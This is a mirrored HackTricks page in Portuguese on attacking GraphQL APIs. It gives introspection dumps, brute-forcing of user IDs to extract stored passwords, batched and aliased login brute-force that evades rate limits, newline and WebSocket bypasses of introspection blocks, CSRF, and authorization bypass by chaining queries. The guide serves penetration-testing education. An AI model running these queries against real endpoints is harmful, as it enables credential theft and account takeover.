mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
556 lines
30 KiB
Markdown
556 lines
30 KiB
Markdown
# GraphQL
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Introdução
|
|
|
|
GraphQL é **destacado** como uma **alternativa eficiente** à REST API, oferecendo uma abordagem simplificada para consultar dados do backend. Em contraste com REST, que muitas vezes exige várias solicitações em diferentes endpoints para reunir dados, o GraphQL permite a recuperação de todas as informações necessárias por meio de uma **única solicitação**. Essa simplificação **beneficia significativamente os desenvolvedores** ao diminuir a complexidade de seus processos de recuperação de dados.
|
|
|
|
## GraphQL e Segurança
|
|
|
|
Com o advento de novas tecnologias, incluindo o GraphQL, novas vulnerabilidades de segurança também surgem. Um ponto chave a ser observado é que **o GraphQL não inclui mecanismos de autenticação por padrão**. É responsabilidade dos desenvolvedores implementar tais medidas de segurança. Sem a autenticação adequada, os endpoints do GraphQL podem expor informações sensíveis a usuários não autenticados, representando um risco significativo à segurança.
|
|
|
|
### Ataques de Força Bruta em Diretórios e GraphQL
|
|
|
|
Para identificar instâncias expostas do GraphQL, recomenda-se a inclusão de caminhos específicos em ataques de força bruta em diretórios. Esses caminhos são:
|
|
|
|
* `/graphql`
|
|
* `/graphiql`
|
|
* `/graphql.php`
|
|
* `/graphql/console`
|
|
* `/api`
|
|
* `/api/graphql`
|
|
* `/graphql/api`
|
|
* `/graphql/graphql`
|
|
|
|
Identificar instâncias abertas do GraphQL permite a análise das consultas suportadas. Isso é crucial para entender os dados acessíveis através do endpoint. O sistema de introspecção do GraphQL facilita isso ao detalhar as consultas que um esquema suporta. Para mais informações sobre isso, consulte a documentação do GraphQL sobre introspecção: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
|
|
|
|
### Impressão Digital
|
|
|
|
A ferramenta [**graphw00f**](https://github.com/dolevf/graphw00f) é capaz de detectar qual motor GraphQL está sendo usado em um servidor e, em seguida, imprime algumas informações úteis para o auditor de segurança.
|
|
|
|
#### Consultas Universais <a href="#universal-queries" id="universal-queries"></a>
|
|
|
|
Para verificar se uma URL é um serviço GraphQL, uma **consulta universal**, `query{__typename}`, pode ser enviada. Se a resposta incluir `{"data": {"__typename": "Query"}}`, isso confirma que a URL hospeda um endpoint GraphQL. Este método depende do campo `__typename` do GraphQL, que revela o tipo do objeto consultado.
|
|
```javascript
|
|
query{__typename}
|
|
```
|
|
### Enumeração Básica
|
|
|
|
Graphql geralmente suporta **GET**, **POST** (x-www-form-urlencoded) e **POST**(json). Embora, por questões de segurança, seja recomendado permitir apenas json para prevenir ataques CSRF.
|
|
|
|
#### Introspecção
|
|
|
|
Para usar a introspecção para descobrir informações do esquema, consulte o campo `__schema`. Este campo está disponível no tipo raiz de todas as consultas.
|
|
```bash
|
|
query={__schema{types{name,fields{name}}}}
|
|
```
|
|
Com esta consulta, você encontrará o nome de todos os tipos que estão sendo usados:
|
|
|
|
![](<../../.gitbook/assets/image (1036).png>)
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
|
|
```
|
|
{% endcode %}
|
|
|
|
Com esta consulta, você pode extrair todos os tipos, seus campos e seus argumentos (e o tipo dos argumentos). Isso será muito útil para saber como consultar o banco de dados.
|
|
|
|
![](<../../.gitbook/assets/image (950).png>)
|
|
|
|
**Erros**
|
|
|
|
É interessante saber se os **erros** serão **exibidos**, pois eles contribuirão com informações úteis.
|
|
```
|
|
?query={__schema}
|
|
?query={}
|
|
?query={thisdefinitelydoesnotexist}
|
|
```
|
|
![](<../../.gitbook/assets/image (416).png>)
|
|
|
|
**Enumerar Esquema de Banco de Dados via Introspecção**
|
|
|
|
{% hint style="info" %}
|
|
Se a introspecção estiver habilitada, mas a consulta acima não for executada, tente remover as diretivas `onOperation`, `onFragment` e `onField` da estrutura da consulta.
|
|
{% endhint %}
|
|
```bash
|
|
#Full introspection query
|
|
|
|
query IntrospectionQuery {
|
|
__schema {
|
|
queryType {
|
|
name
|
|
}
|
|
mutationType {
|
|
name
|
|
}
|
|
subscriptionType {
|
|
name
|
|
}
|
|
types {
|
|
...FullType
|
|
}
|
|
directives {
|
|
name
|
|
description
|
|
args {
|
|
...InputValue
|
|
}
|
|
onOperation #Often needs to be deleted to run query
|
|
onFragment #Often needs to be deleted to run query
|
|
onField #Often needs to be deleted to run query
|
|
}
|
|
}
|
|
}
|
|
|
|
fragment FullType on __Type {
|
|
kind
|
|
name
|
|
description
|
|
fields(includeDeprecated: true) {
|
|
name
|
|
description
|
|
args {
|
|
...InputValue
|
|
}
|
|
type {
|
|
...TypeRef
|
|
}
|
|
isDeprecated
|
|
deprecationReason
|
|
}
|
|
inputFields {
|
|
...InputValue
|
|
}
|
|
interfaces {
|
|
...TypeRef
|
|
}
|
|
enumValues(includeDeprecated: true) {
|
|
name
|
|
description
|
|
isDeprecated
|
|
deprecationReason
|
|
}
|
|
possibleTypes {
|
|
...TypeRef
|
|
}
|
|
}
|
|
|
|
fragment InputValue on __InputValue {
|
|
name
|
|
description
|
|
type {
|
|
...TypeRef
|
|
}
|
|
defaultValue
|
|
}
|
|
|
|
fragment TypeRef on __Type {
|
|
kind
|
|
name
|
|
ofType {
|
|
kind
|
|
name
|
|
ofType {
|
|
kind
|
|
name
|
|
ofType {
|
|
kind
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Consulta de introspecção inline:
|
|
```
|
|
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
|
```
|
|
A última linha de código é uma consulta graphql que irá despejar todas as metainformações do graphql (nomes de objetos, parâmetros, tipos...)
|
|
|
|
![](<../../.gitbook/assets/image (363).png>)
|
|
|
|
Se a introspecção estiver habilitada, você pode usar [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) para visualizar em uma GUI todas as opções.
|
|
|
|
### Consultando
|
|
|
|
Agora que sabemos que tipo de informação está salva dentro do banco de dados, vamos tentar **extrair alguns valores**.
|
|
|
|
Na introspecção, você pode encontrar **qual objeto você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado de "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto flag.
|
|
|
|
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>)
|
|
|
|
Note que o tipo da consulta "_flags_" é "_Flags_", e este objeto é definido como abaixo:
|
|
|
|
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>)
|
|
|
|
Você pode ver que os objetos "_Flags_" são compostos por **name** e **value**. Então você pode obter todos os nomes e valores das flags com a consulta:
|
|
```javascript
|
|
query={flags{name, value}}
|
|
```
|
|
Note que, caso o **objeto a ser consultado** seja um **tipo** **primitivo** como **string**, como no exemplo a seguir
|
|
|
|
![](<../../.gitbook/assets/image (958).png>)
|
|
|
|
Você pode simplesmente consultá-lo com:
|
|
```javascript
|
|
query={hiddenFlags}
|
|
```
|
|
Em outro exemplo onde havia 2 objetos dentro do objeto do tipo "_Query_": "_user_" e "_users_".\
|
|
Se esses objetos não precisarem de nenhum argumento para pesquisar, poderia **recuperar todas as informações deles** apenas **pedindo** os dados que você deseja. Neste exemplo da Internet, você poderia extrair os nomes de usuário e senhas salvos:
|
|
|
|
![](<../../.gitbook/assets/image (880).png>)
|
|
|
|
No entanto, neste exemplo, se você tentar fazer isso, receberá este **erro**:
|
|
|
|
![](<../../.gitbook/assets/image (1042).png>)
|
|
|
|
Parece que, de alguma forma, ele irá pesquisar usando o argumento "_**uid**_" do tipo _**Int**_.\
|
|
De qualquer forma, já sabíamos disso, na seção [Basic Enumeration](graphql.md#basic-enumeration) foi proposta uma consulta que mostrava todas as informações necessárias: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
|
|
|
Se você ler a imagem fornecida quando executei essa consulta, verá que "_**user**_" tinha o **arg** "_**uid**_" do tipo _Int_.
|
|
|
|
Assim, realizando um leve _**uid**_ bruteforce, descobri que em _**uid**=**1**_ um nome de usuário e uma senha foram recuperados:\
|
|
`query={user(uid:1){user,password}}`
|
|
|
|
![](<../../.gitbook/assets/image (90).png>)
|
|
|
|
Note que eu **descobri** que poderia pedir os **parâmetros** "_**user**_" e "_**password**_" porque se eu tentar procurar algo que não existe (`query={user(uid:1){noExists}}`) recebo este erro:
|
|
|
|
![](<../../.gitbook/assets/image (707).png>)
|
|
|
|
E durante a **fase de enumeração**, descobri que o objeto "_**dbuser**_" tinha como campos "_**user**_" e "_**password**_.
|
|
|
|
**Truque de despejo de string de consulta (graças ao @BinaryShadow\_)**
|
|
|
|
Se você pode pesquisar por um tipo de string, como: `query={theusers(description: ""){username,password}}` e você **pesquisar por uma string vazia**, isso irá **despejar todos os dados**. (_Note que este exemplo não está relacionado com o exemplo dos tutoriais, para este exemplo suponha que você pode pesquisar usando "**theusers**" por um campo String chamado "**description**"_).
|
|
|
|
### Pesquisa
|
|
|
|
Nesta configuração, um **banco de dados** contém **pessoas** e **filmes**. **Pessoas** são identificadas por seu **email** e **nome**; **filmes** por seu **nome** e **avaliação**. **Pessoas** podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados.
|
|
|
|
Você pode **pesquisar** pessoas **pelo** **nome** e obter seus emails:
|
|
```javascript
|
|
{
|
|
searchPerson(name: "John Doe") {
|
|
email
|
|
}
|
|
}
|
|
```
|
|
Você pode **buscar** pessoas **pelo** **nome** e obter seus **filmes** **assinados**:
|
|
```javascript
|
|
{
|
|
searchPerson(name: "John Doe") {
|
|
email
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Note como é indicado recuperar o `name` dos `subscribedMovies` da pessoa.
|
|
|
|
Você também pode **pesquisar vários objetos ao mesmo tempo**. Neste caso, uma pesquisa de 2 filmes é feita:
|
|
```javascript
|
|
{
|
|
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
|
name
|
|
}
|
|
}r
|
|
```
|
|
Ou até mesmo **relações de vários objetos diferentes usando aliases**:
|
|
```javascript
|
|
{
|
|
johnsMovieList: searchPerson(name: "John Doe") {
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
davidsMovieList: searchPerson(name: "David Smith") {
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
### Mutations
|
|
|
|
**As mutações são usadas para fazer alterações no lado do servidor.**
|
|
|
|
Na **introspecção**, você pode encontrar as **mutações** **declaradas**. Na imagem a seguir, o "_MutationType_" é chamado de "_Mutation_" e o objeto "_Mutation_" contém os nomes das mutações (como "_addPerson_" neste caso):
|
|
|
|
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>)
|
|
|
|
Nesta configuração, um **banco de dados** contém **pessoas** e **filmes**. **Pessoas** são identificadas por seu **email** e **nome**; **filmes** por seu **nome** e **avaliação**. **Pessoas** podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados.
|
|
|
|
Uma mutação para **criar novos** filmes dentro do banco de dados pode ser como a seguinte (neste exemplo, a mutação é chamada de `addMovie`):
|
|
```javascript
|
|
mutation {
|
|
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
|
movies {
|
|
name
|
|
rating
|
|
}
|
|
}
|
|
}
|
|
```
|
|
**Observe como tanto os valores quanto o tipo de dados são indicados na consulta.**
|
|
|
|
Além disso, o banco de dados suporta uma operação de **mutação**, chamada `addPerson`, que permite a criação de **pessoas** juntamente com suas associações a **amigos** e **filmes** existentes. É crucial notar que os amigos e filmes devem pré-existir no banco de dados antes de serem vinculados à nova pessoa criada.
|
|
```javascript
|
|
mutation {
|
|
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
|
person {
|
|
name
|
|
email
|
|
friends {
|
|
edges {
|
|
node {
|
|
name
|
|
email
|
|
}
|
|
}
|
|
}
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
rating
|
|
releaseYear
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
### Sobrecarga de Diretivas
|
|
|
|
Como explicado em [**uma das vulnerabilidades descritas neste relatório**](https://www.landh.tech/blog/20240304-google-hack-50000/), uma sobrecarga de diretivas implica chamar uma diretiva até milhões de vezes para fazer o servidor desperdiçar operações até que seja possível realizar um DoS.
|
|
|
|
### Agrupamento de força bruta em 1 solicitação de API
|
|
|
|
Esta informação foi retirada de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
|
Autenticação através da API GraphQL com **envio simultâneo de muitas consultas com diferentes credenciais** para verificá-las. É um ataque clássico de força bruta, mas agora é possível enviar mais de um par login/senha por solicitação HTTP devido ao recurso de agrupamento do GraphQL. Essa abordagem enganaria aplicativos externos de monitoramento de taxa, fazendo-os pensar que está tudo bem e que não há um bot de força bruta tentando adivinhar senhas.
|
|
|
|
Abaixo você pode encontrar a demonstração mais simples de uma solicitação de autenticação de aplicativo, com **3 pares de email/senha diferentes por vez**. Obviamente, é possível enviar milhares em uma única solicitação da mesma forma:
|
|
|
|
![](<../../.gitbook/assets/image (1081).png>)
|
|
|
|
Como podemos ver na captura de tela da resposta, a primeira e a terceira solicitações retornaram _null_ e refletiram as informações correspondentes na seção _error_. A **segunda mutação teve os dados de autenticação corretos** e a resposta contém o token de sessão de autenticação correto.
|
|
|
|
![](<../../.gitbook/assets/image (119) (1).png>)
|
|
|
|
## GraphQL Sem Introspecção
|
|
|
|
Cada vez mais **endpoints graphql estão desativando a introspecção**. No entanto, os erros que o graphql gera quando uma solicitação inesperada é recebida são suficientes para ferramentas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recriarem a maior parte do esquema.
|
|
|
|
Além disso, a extensão Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa solicitações da API GraphQL passando pelo Burp** e **constrói** um **esquema** interno de GraphQL com cada nova consulta que vê. Ela também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso dentro da API. Para mais informações [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
|
|
|
Uma boa **lista de palavras** para descobrir [**entidades GraphQL pode ser encontrada aqui**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
|
|
|
### Contornando defesas de introspecção do GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
|
|
|
Para contornar restrições em consultas de introspecção em APIs, inserir um **caractere especial após a palavra-chave `__schema`** prova ser eficaz. Este método explora descuidos comuns de desenvolvedores em padrões regex que visam bloquear a introspecção, concentrando-se na palavra-chave `__schema`. Ao adicionar caracteres como **espaços, novas linhas e vírgulas**, que o GraphQL ignora, mas que podem não ser considerados no regex, as restrições podem ser contornadas. Por exemplo, uma consulta de introspecção com uma nova linha após `__schema` pode contornar tais defesas:
|
|
```bash
|
|
# Example with newline to bypass
|
|
{
|
|
"query": "query{__schema
|
|
{queryType{name}}}"
|
|
}
|
|
```
|
|
Se não tiver sucesso, considere métodos de solicitação alternativos, como **solicitações GET** ou **POST com `x-www-form-urlencoded`**, uma vez que as restrições podem se aplicar apenas às solicitações POST.
|
|
|
|
### Tente WebSockets
|
|
|
|
Como mencionado em [**esta palestra**](https://www.youtube.com/watch?v=tIo\_t5uUK50), verifique se pode ser possível conectar-se ao graphQL via WebSockets, pois isso pode permitir que você contorne um potencial WAF e faça a comunicação websocket vazar o esquema do graphQL:
|
|
```javascript
|
|
ws = new WebSocket('wss://target/graphql', 'graphql-ws');
|
|
ws.onopen = function start(event) {
|
|
var GQL_CALL = {
|
|
extensions: {},
|
|
query: `
|
|
{
|
|
__schema {
|
|
_types {
|
|
name
|
|
}
|
|
}
|
|
}`
|
|
}
|
|
|
|
var graphqlMsg = {
|
|
type: 'GQL.START',
|
|
id: '1',
|
|
payload: GQL_CALL,
|
|
};
|
|
ws.send(JSON.stringify(graphqlMsg));
|
|
}
|
|
```
|
|
### **Descobrindo Estruturas GraphQL Expostas**
|
|
|
|
Quando a introspecção está desativada, examinar o código-fonte do site em busca de consultas pré-carregadas em bibliotecas JavaScript é uma estratégia útil. Essas consultas podem ser encontradas usando a aba `Sources` nas ferramentas de desenvolvedor, fornecendo insights sobre o esquema da API e revelando potencialmente **consultas sensíveis expostas**. Os comandos para pesquisar dentro das ferramentas de desenvolvedor são:
|
|
```javascript
|
|
Inspect/Sources/"Search all files"
|
|
file:* mutation
|
|
file:* query
|
|
```
|
|
## CSRF em GraphQL
|
|
|
|
Se você não sabe o que é CSRF, leia a página a seguir:
|
|
|
|
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
|
|
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
|
|
{% endcontent-ref %}
|
|
|
|
Por aí, você poderá encontrar vários endpoints GraphQL **configurados sem tokens CSRF.**
|
|
|
|
Observe que as requisições GraphQL geralmente são enviadas via requisições POST usando o Content-Type **`application/json`**.
|
|
```javascript
|
|
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
|
```
|
|
No entanto, a maioria dos endpoints GraphQL também suporta **`form-urlencoded` POST requests:**
|
|
```javascript
|
|
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
|
```
|
|
Portanto, como as solicitações CSRF, como as anteriores, são enviadas **sem solicitações de pré-vôo**, é possível **realizar** **alterações** no GraphQL abusando de um CSRF.
|
|
|
|
No entanto, note que o novo valor padrão do cookie da flag `samesite` do Chrome é `Lax`. Isso significa que o cookie só será enviado de um site de terceiros em solicitações GET.
|
|
|
|
Note que geralmente é possível enviar a **solicitação** **de consulta** também como uma **solicitação GET e o token CSRF pode não estar sendo validado em uma solicitação GET.**
|
|
|
|
Além disso, abusando de um [**XS-Search**](../../pentesting-web/xs-search/) **ataque** pode ser possível exfiltrar conteúdo do endpoint GraphQL abusando das credenciais do usuário.
|
|
|
|
Para mais informações **verifique o** [**post original aqui**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
|
|
|
## Sequestro de WebSocket entre sites no GraphQL
|
|
|
|
Semelhante às vulnerabilidades CRSF abusando do GraphQL, também é possível realizar um **sequestro de WebSocket entre sites para abusar de uma autenticação com GraphQL com cookies desprotegidos** e fazer um usuário realizar ações inesperadas no GraphQL.
|
|
|
|
Para mais informações, verifique:
|
|
|
|
{% content-ref url="../../pentesting-web/websocket-attacks.md" %}
|
|
[websocket-attacks.md](../../pentesting-web/websocket-attacks.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Autorização no GraphQL
|
|
|
|
Muitas funções GraphQL definidas no endpoint podem apenas verificar a autenticação do solicitante, mas não a autorização.
|
|
|
|
Modificar variáveis de entrada da consulta pode levar a detalhes sensíveis da conta [vazados](https://hackerone.com/reports/792927).
|
|
|
|
A mutação pode até levar a uma tomada de conta ao tentar modificar dados de outra conta.
|
|
```javascript
|
|
{
|
|
"operationName":"updateProfile",
|
|
"variables":{"username":INJECT,"data":INJECT},
|
|
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
|
|
}
|
|
```
|
|
### Bypass authorization in GraphQL
|
|
|
|
[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) juntos pode contornar um sistema de autenticação fraco.
|
|
|
|
No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que deve executar apenas a consulta forgotPassword associada a ela. Isso pode ser contornado adicionando uma consulta ao final, neste caso, adicionamos "register" e uma variável de usuário para o sistema registrar como um novo usuário.
|
|
|
|
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Bypassing Rate Limits Using Aliases in GraphQL
|
|
|
|
Em GraphQL, aliases são um recurso poderoso que permite a **nomeação de propriedades explicitamente** ao fazer uma solicitação de API. Essa capacidade é particularmente útil para recuperar **múltiplas instâncias do mesmo tipo** de objeto em uma única solicitação. Aliases podem ser empregados para superar a limitação que impede objetos GraphQL de ter várias propriedades com o mesmo nome.
|
|
|
|
Para uma compreensão detalhada dos aliases do GraphQL, o seguinte recurso é recomendado: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
|
|
|
Embora o propósito principal dos aliases seja reduzir a necessidade de numerosas chamadas de API, um caso de uso não intencional foi identificado onde aliases podem ser aproveitados para executar ataques de força bruta em um endpoint GraphQL. Isso é possível porque alguns endpoints são protegidos por limitadores de taxa projetados para frustrar ataques de força bruta, restringindo o **número de solicitações HTTP**. No entanto, esses limitadores de taxa podem não levar em conta o número de operações dentro de cada solicitação. Dado que os aliases permitem a inclusão de várias consultas em uma única solicitação HTTP, eles podem contornar tais medidas de limitação de taxa.
|
|
|
|
Considere o exemplo fornecido abaixo, que ilustra como consultas com alias podem ser usadas para verificar a validade de códigos de desconto de loja. Este método poderia contornar a limitação de taxa, uma vez que compila várias consultas em uma única solicitação HTTP, potencialmente permitindo a verificação de numerosos códigos de desconto simultaneamente.
|
|
```bash
|
|
# Example of a request utilizing aliased queries to check for valid discount codes
|
|
query isValidDiscount($code: Int) {
|
|
isvalidDiscount(code:$code){
|
|
valid
|
|
}
|
|
isValidDiscount2:isValidDiscount(code:$code){
|
|
valid
|
|
}
|
|
isValidDiscount3:isValidDiscount(code:$code){
|
|
valid
|
|
}
|
|
}
|
|
```
|
|
## Ferramentas
|
|
|
|
### Scanners de vulnerabilidade
|
|
|
|
* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testa configurações incorretas comuns de endpoints graphql
|
|
* [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script de auditoria de segurança GraphQL com foco em realizar consultas e mutações GraphQL em lote.
|
|
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica a graphql sendo usada
|
|
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de ferramentas que pode ser usado para capturar esquemas e buscar dados sensíveis, testar autorização, forçar esquemas e encontrar caminhos para um tipo específico.
|
|
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Pode ser usado como autônomo ou [extensão Burp](https://github.com/doyensec/inql).
|
|
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Pode ser usado como um cliente CLI também para automatizar ataques
|
|
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Ferramenta que lista as diferentes maneiras de **acessar um tipo específico em um esquema GraphQL**.
|
|
* [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): O sucessor dos Modos Autônomo e CLI do InQL
|
|
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensão Burp para testes avançados de GraphQL. O _**Scanner**_ é o núcleo do InQL v5.0, onde você pode analisar um endpoint GraphQL ou um arquivo de esquema de introspecção local. Ele gera automaticamente todas as possíveis consultas e mutações, organizando-as em uma visão estruturada para sua análise. O componente _**Attacker**_ permite que você execute ataques GraphQL em lote, o que pode ser útil para contornar limites de taxa mal implementados.
|
|
* [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Tenta obter o esquema mesmo com a introspecção desativada, usando a ajuda de alguns bancos de dados Graphql que sugerem os nomes de mutações e parâmetros.
|
|
|
|
### Clientes
|
|
|
|
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): Cliente GUI
|
|
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): Cliente GUI
|
|
|
|
### Testes Automáticos
|
|
|
|
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
|
|
|
|
* Vídeo explicando AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
|
|
|
## Referências
|
|
|
|
* [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
|
|
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
|
* [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
|
|
* [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
|
|
* [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
|
|
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
|
* [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
